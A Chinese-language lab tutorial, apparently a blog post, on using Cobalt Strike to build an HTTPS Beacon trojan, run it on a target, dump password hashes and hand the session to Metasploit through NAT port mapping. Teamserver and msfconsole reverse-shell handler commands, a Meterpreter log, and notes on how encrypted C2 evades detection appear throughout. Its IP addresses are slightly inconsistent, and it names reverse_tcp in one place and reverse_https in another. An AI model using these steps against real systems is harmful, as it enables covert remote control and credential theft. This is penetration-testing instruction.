CobaltStrike渗透实战之CS转发MSF联动(攻击机Kali在内网:目标靶机无法直接连Kali解决方案:需配置NAT端口映射)

目录

[一、Https Beacon简介](#一、Https Beacon简介)

二、CobaltStrike实战

1、服务端

(1)配置权限

(2)启动服务端

2、客户端

[三、监听器Https Beacon渗透实战](#三、监听器Https Beacon渗透实战)

1、添加监听器

2、配置NAT模式

[3、CS生成https stageless木马](#3、CS生成https stageless木马)

[4、受害靶机运行Https Beacon](#4、受害靶机运行Https Beacon)

5、上线https木马

6、将CS转发给MSF处理(联动)

(1)CS配置

(2)NAT配置

[(3)CS执行spawn tomsf](#(3)CS执行spawn tomsf)

(4)MSF配置

(5)CS成功转移MSF


本文讲解CobaltStrike实战之CS会话转发至MSF会话的方法,本文涉及三个角色,如下所示。

| 角色 | IP地址 | 网络关系说明 |
| 攻击机主机 | 公网IP: 10.1.0.21 | 攻击机主机安装Kali虚拟机(网卡NAT模式:Kali运行CS+MSF) KALI中CS监听端口需配置公网IP:需在vmnet8网卡配置NAT端口映射将公网端口转发到Kali内网端口。 |
| Kali虚拟机 | 内网IP: 192.168.59.128 | CS HTTPS Beacon监听 : 10.1.0.21:10086,生成Https Beacon木马(将木马上传到目标靶机并运行,用于目标靶机连接攻击机CS,故而需要使用公网ip,将1234端口配置为NAT映射使kali可以收到流量 CS Foreign HTTP监听 : 10.1.0.21:1234(用于目标靶机连接,故而用公网ip,需要将1234端口配置为NAT映射使kali可以收到流量) 所有服务运行在此虚拟机,依赖VPS的NAT映射对外暴露端口。 |
| Kali虚拟机 | 内网IP: 192.168.59.128 | MSF反向HTTP监听: 192.168.59.128:1234(MSF自身开启监听,故而用内网IP) |

目标靶机 公网IP: 10.33.212.200 内网IP: 192.168.26.200 可通过公网IP与攻击机VPS通信,但无法直连Kali内网IP。

CS会话转发至MSF会话的原理、具体步骤和流程图如下所示。

  • 攻击者在CS创建HTTPS监听并生成HTTPS Beacon木马(10.1.0.21,端口10086)

  • 攻击者将木马传到目标靶机中,靶机执行HTTPS Beacon木马连接攻击机,建立CS连接通道

  • 攻击者在MSF建立监听本机的1234端口(192.168.59.128:1234)

  • 攻击者在CS配置到MSF的转发监听器(tomsf,IP为MSF的公网ip地址10.1.0.21,端口为1234)

  • 攻击者在CS端通过现有HTTPS Beacon会话向靶机下发spawn tomsf指令

  • 靶机根据配置主动连接Kali的MSF监听端口,MSF成功建立Meterpreter反向TCP会话

复制代码
sequenceDiagram
    participant 攻击者CS
    participant 目标靶机
    participant Kali_MSF

    Note over 攻击者CS: 阶段1: 初始感染
    攻击者CS ->> 攻击者CS: 1. 创建HTTPS监听器 (IP:20.1.0.21:10086)
    攻击者CS ->> 攻击者CS: 2. 生成HTTPS Beacon木马
    攻击者CS ->> 目标靶机: 3. 上传木马到靶机
    目标靶机 ->> 攻击者CS: 4. 执行木马 → 建立HTTPS C2通道

    Note over Kali_MSF: 阶段2: MSF监听配置
    Kali_MSF ->> Kali_MSF: 5. 启动MSF监听: <br>use exploit/multi/handler<br>set payload windows/meterpreter/reverse_tcp<br>set lhost 192.168.59.128<br>set lport 1234<br>run

    Note over 攻击者CS: 阶段3: 会话迁移
    攻击者CS ->> 攻击者CS: 6. 创建tomsf监听器 (IP:20.1.0.21, Port:1234)
    攻击者CS ->> 目标靶机: 7. 通过Beacon下发spawn tomsf指令
    目标靶机 ->> Kali_MSF: 8. 发起Meterpreter反向连接 (20.1.0.21:1234)
    Kali_MSF ->> Kali_MSF: 9. 经过NAT映射处理后(192.168.59.128:1234)
    Kali_MSF ->> 目标靶机: 10. 建立Meterpreter会话

一、Https Beacon简介

HTTPS Beacon 使用 HTTPS 协议进行通信,基于 HTTP 协议并通过 SSL/TLS 协议提供加密传输和身份验证功能。HTTPS Beacon 是现代高级持续性威胁和红队操作中最常用的 C2 通信技术之一。它利用无处不在且受信任的 HTTPS 协议作为掩护,通过加密有效隐藏恶意指令和数据传输,极大地增加了防御者的检测难度。

  • Beacon基本概念 :Beacon 可直译为灯塔、信标,HTTPS Beacon 是 Cobalt Strike 等工具中运行在目标主机上的 payload。它就像一个潜伏在目标主机上的 "信标",会定期向控制服务器发送信号,告知自己的存在,并等待接收指令,以实现对目标主机的长期控制。

    • "Beacon" 字面意思是"信标"。在恶意软件语境中,它指的是植入在受害者系统上的恶意代码(Payload)。这个 Beacon 的主要功能是定期(或基于事件)向攻击者控制的 C2 服务器"报到"(发送心跳信号)。

    • 报到目的包括:

      • 心跳/存活确认:告诉 C2 服务器"我还活着"。

      • 检查任务:询问 C2 服务器是否有新的指令需要执行(如下载更多恶意软件、窃取数据、执行命令等)。

      • 回传数据:将窃取的信息(如凭证、键盘记录、屏幕截图、文件)发送回 C2。

      • 接收指令:获取 C2 服务器下发的下一步行动命令。

  • HTTPS 协议的应用

    • 加密通信:HTTPS 是在 HTTP 协议基础上加入了 TLS/SSL 加密层。这意味着 Beacon 与 C2 服务器之间的所有通信内容(指令、窃取的数据、配置信息)都被加密。

    • 伪装成合法流量:HTTPS 是互联网上最普遍、最受信任的协议之一(用于银行、电商、社交媒体等)。恶意流量隐藏在加密的 HTTPS 流量中,可以:

      • 绕过传统防火墙和 IDS/IPS:这些设备通常无法解密 HTTPS 流量来检查其内容(除非配置了 SSL/TLS 解密代理)。

      • 规避基于签名的检测:加密使得基于流量内容特征(如特定字符串)的检测方法失效。

      • 融入背景噪音:大量的合法 HTTPS 流量使得恶意通信更难被区分出来。

  • 与 HTTP Beacon 的区别:HTTPS Beacon 和 HTTP Beacon 使用了相同的 Malleable C2 配置文件,均使用 GET 和 POST 的方式传输数据。不同点在于 HTTPS Beacon 使用了 SSL/TLS 协议,能保证数据传输中信息不被截取或发生中间人攻击等,安全性更高。

  • 应用场景:在渗透测试中,测试人员可利用 HTTPS Beacon 绕过目标网络的部分安全检测机制,因为 HTTPS 是常见的加密网络流量,一些防火墙和入侵检测系统可能不会对其进行深度检测。而在恶意软件攻击中,攻击者也可能会利用 HTTPS Beacon 来控制被感染的主机,窃取数据或执行其他恶意操作。

二、CobaltStrike实战

1、服务端

(1)配置权限

在CobaltStrike执行服务端程序之前一定记得给执行权限 否则无法执行,具体命令如下所示。

复制代码
chmod +x teamserver
chmod +x TeamServerImage

(2)启动服务端

服务端的命令如下:./teamserver `本地kali虚拟机`的ip 密码

复制代码
./teamserver 192.168.59.128 123456

启动成功后 会显示Linstener:forward started!,效果如下所示。

2、客户端

客户端启动成功后 会显示一个登录界面 在密码处写入刚才设置的密码 点击connect连接即可,其中主机ip地址填写服务端的ip地址,端口填写默认的50050,效果如下图所示。

登陆成功后,进入到如下页面,效果如下图所示。

三、监听器Https Beacon渗透实战

1、添加监听器

通过 Cobalt StrikeListeners,进入监听器的页面,操作如下所示。

在新弹出的监听器listener页面中,点击下图红框中的添加部分,效果如下图所示。

配置监听器,payload选择BeaconHttps,地址填写攻击主机的IP地址,如下所示。

  • name: 为监听器名字,配置为mooyuan_https
  • HTTP Hosts: 进行回连的主机(shell反弹的主机),也就是我们kali的ip(如果是阿里云,则填阿里云主机的公网ip),可以设置多个,我这里使用的是公网ip地址20.1.0.21
  • HTTP Hosts(Stager): Stager的马请求下载payload的地址(一般也是和上面的ip填一样)
  • HTTP Port(C2): payload回连的端口,这里选择使用10086

配置成功后效果如下所示。

2、配置NAT模式

将端口7777映射到NAT中。

由于我的环境中Kali攻击机装在vmware中,而Kali攻击机使用NAT方式配置,故而需要对Kali进行NAT配置,确保攻击机反向代理可以连接成功(对于直接只用kali作为攻击机的环境可忽略此步骤)。

点击vmware-编辑-虚拟网络编辑器,在弹出的对话框中选中vmnet8模式(如下图1),点击NAT设置(如下图2),在弹出NAT配置对话框中点击添加(如下图3),具体如下图所示。

使用ifconfig查看Kali攻击机的ip地址,本机为192.168.59.128,如下所示。

点击添加后,端口映射主机与虚拟机的端口均配置为10086,其中虚拟机的ip地址配置为kali的ip地址192.168.59.128,配置方法如下所示。

点击确认配置完毕后如下图红框所示,按照顺序点击确定即可配置成功。

3、CS生成https stageless木马

点击有效载荷-windows可执行程序(stageless),效果如下图红框所示。

在弹出的生成框中点击下图红框中的选项部分,在选择payload的listener中选择mooyuan_https的监听器,点击选择,效果如下图所示。

配置完毕后点击下图红框中的"生成"按钮,将生成的windows可执行程序重命名为https.exe。

生成成功后效果如下图所示,提示已经成功保存https.exe。

4、受害靶机运行Https Beacon

使用远程桌面连接靶机10.33.212.200,将木马上传到靶机中。双击https启动木马程序,如下图所示。

5、上线https木马

受害靶机运行Https Beacon后,查看cs状态,如下所示成功上线。

点击https会话,右键-会话交互,输入shell ipconfig,如下所示显示192.168.26.200。

右键-凭证提取-抓取哈希(hash),效果如下图所示。

6、将CS转发给MSF处理(联动)

(1)CS配置

首先在cs上继续生成一个监听器使得CS与MSF可以联动。通过 Cobalt StrikeListeners,进入监听器的页面,点击添加,这里payload选择Foreign HTTP,填入IP和端口(其中IP地址设置为Kali攻击机的ip地址192.168.59.128,端口设置为1234),但是这个ip地址内网靶机无法连接,故而应该将ip地址设置为可以连接的20.1.0.21,端口则需要配置Vmnet8的NAT映射。

(2)NAT配置

此时需要将端口1234映射到NAT中。 由于我的环境中Kali攻击机装在vmware中,而Kali攻击机使用NAT方式配置,故而需要对Kali进行NAT配置,确保攻击机反向代理可以连接成功(对于直接只用kali作为攻击机的环境可忽略此步骤)。点击vmware-编辑-虚拟网络编辑器,在弹出的对话框中选中vmnet8模式(如下图1),点击NAT设置(如下图2),在弹出NAT配置对话框中点击添加(如下图3),具体如下图所示。

点击添加后,端口映射主机与虚拟机的端口均配置为1234,其中虚拟机的ip地址配置为kali的ip地址192.168.59.128,配置方法如下所示。

(3)CS执行spawn tomsf

在已有的http beacon会话中执行spawn tomsf命令,如下所示。

(4)MSF配置

Kali输入msfconsole开启msf 渗透,选择监听模块 use exploit/multi/handler 选择完成后 执行以下命令,其中lhost设置监听IP(与CS设置上的相同),为Kali攻击机的IP地址;lport设置监听端口(与CS设置上的相同),配置为默认的1234;set payload windows/meterpreter/reverse_tcp建立与CS Beacon一致的tcp连接,完整的配置命令如下所示。

复制代码
msfconsole
set payload windows/meterpreter/reverse_https
set lhost 192.168.59.128  
set lport 1234  
run

(5)CS成功转移MSF

msf配置完成后效果如下所示,会话已经从CS迁移到MSF。

复制代码
msf6 exploit(multi/handler) > run

[*] Started HTTP reverse handler on http://192.168.59.128:1234
[!] http://192.168.59.128:1234 handling request from 192.168.26.200; (UUID: n9qlialq) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.59.128:1234 handling request from 192.168.26.200; (UUID: n9qlialq) Staging x86 payload (176220 bytes) ...
[!] http://192.168.59.128:1234 handling request from 192.168.26.200; (UUID: n9qlialq) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.59.128:1234 -> 127.0.0.1 ) at 2025-08-13 08:31:57 -0400

四、总结

NAT端口映射配置(在vmware的NAT网卡端口映射设置),具体原理如下所示。

1、CS HTTPS Beacon监听器

  • HTTPS Reverse监听器地址 : CS中配置为 10.1.0.21:10086
  • 木马连接地址 : 靶机需连接 https://10.1.0.21:10086
  • Vmware NAT端口映射 : 10.1.0.21:10086 → 转发到 192.168.59.128:10086

2、MSF Meterpreter监听器

  • Foreign监听器地址 : CS中配置为 10.1.0.21:1234

  • 转移后木马连接地址:靶机需连接 https://10.1.0.21:1234

  • Vmware NAT端口映射 :: 10.1.0.21:1234 → 转发到192.168.59.128:1234

相关推荐
mooyuan天天7 小时前
Cobalt Strike渗透之HTTPS/SMB/TCP Beacon横向移动实战1(跳板机Windows)
内网渗透·横向移动·cobalt strike
_星辰大海乀2 天前
IP 协议
服务器·网络·tcp/ip·nat·子网掩码·ip协议
mooyuan天天2 天前
CobaltStrike之MSF转发CS联动:原理详解与渗透实战
内网渗透·metasploit·msf·cobalt strike
mooyuan天天4 天前
内网渗透之Thinkphp5提权实战+reGeorg代理横向移动(CVE-2018-20062)
内网渗透·横向移动·thinkphp·regeorg·cve-2018-20062·thinkphp代码执行漏洞
Whoami!6 天前
❼⁄₂ ⟦ OSCP ⬖ 研记 ⟧ 查找漏洞的公共利用 ➱ 离线资源(上)
网络安全·信息安全·metasploit·searchsploit
NiKo_W11 天前
Linux 数据链路层
linux·服务器·网络·内网穿透·nat·数据链路层
赖small强14 天前
【ZeroRange WebRTC】Amazon Kinesis Video Streams ICE协议Candidate协商机制深度分析
webrtc·nat·ice·candidate·candidatepair·stun绑定请求
赖small强22 天前
【ZeroRange WebRTC】NAT 与防火墙在 WebRTC 中的影响
webrtc·防火墙·nat·stun
赖small强25 天前
【ZeroRange WebRTC 】STUN 在 WebRTC 中的角色与工作原理(深入指南)
webrtc·nat·stun·ice